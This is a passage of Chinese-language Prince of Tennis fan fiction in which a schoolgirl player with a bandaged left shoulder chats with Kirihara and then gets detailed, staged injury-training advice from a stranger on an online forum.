这一幕多少有点太滑稽了,夕浔忍不住笑了下,切原听到熟悉的声音,连忙扭头朝她招手。
“同桌同桌!”
“怎么了?”
夕浔好奇走回座位,目光落在他试卷上,又很快移开。
不过切原却不是同她说成绩的事情。
他兴奋地双手按桌站直身,翡翠绿的眸子亮晶晶的。
“我听仁王前辈说你在周六的比赛上打得很棒欸。”
“有一招落地之后不会弹起,而是会飞快蹿出去对不对?”
“能不能让我见识下!”
夕浔捂脸,果不其然,能让这家伙最激动的只有网球。
但同单线程满脑子只有网球的笨蛋能计较什么呢,她语气软下来,哄孩子似的:
“那招还没有完善,哪天成功了,再打给你看。”
“那就这么说定了!”
晚上回到家,夕浔没有急着第一时间洗澡,而是拿出手机发帖子。
下午训练的时候,尽管刻意不使用左肩,偶尔还是能够感受到若有似无的牵扯感。
理论上知道应该影响不大,但实际操作总是会不经意触碰到,着实苦手。
也不好直接问教练和几位前辈,怕她们担心。
抱着“说不准有人是同样的经历呢”的想法,夕浔正儿八经编辑了条帖子。
[右撇子网球选手,左肩轻伤需缠绷带数日,如何尽量避免训练中右肩的代偿性劳损和对左臂的牵扯呢?]
发完帖子夕浔就放下了手机去洗澡,半小时后才带着湿漉漉的水汽回到桌子前。
帖子下面已经筑起了十几个楼,夕浔瞥了眼,却没看到太多有效信息,有些失望。
[好奇,蹲一个。]
[同问。]
……诸如此类。
但当手机屏幕划到最下面,夕浔发现几分钟前有人艾特了另外的陌生账号。
嗯?
她还没来得及奇怪,下一秒却见到帖子下面刷新出最新回复。
字很多,让人不明觉厉。
夕浔细细看去。
[加百列今天也很健康:如果是轻伤,并且需要带伤训练的话,楼主可以考虑用弹性绷带8字法缠绕,将左手固定于体侧限制摆臂牵拉的幅度;场上训练期间,可以在地面标注安全移动区域,避免救球时本能使用左臂;每天训练结束后,可以冰敷伤处十五分钟。]
[加百列今天也很健康:前几天多做下肢循环运动,第四日起可以适当进行左臂钟摆运动和肩胛骨收缩训练,避免恢复后左右手机能失衡……]
这位陌生网友为了解释得更充分,还特意附上了图解。
夕浔越看越惊。
这正经提建议的口吻,还有分阶段的注解,在一众插科打诨的文字里显得那么清新脱俗。
不是——
这人好像是真有两把刷子的。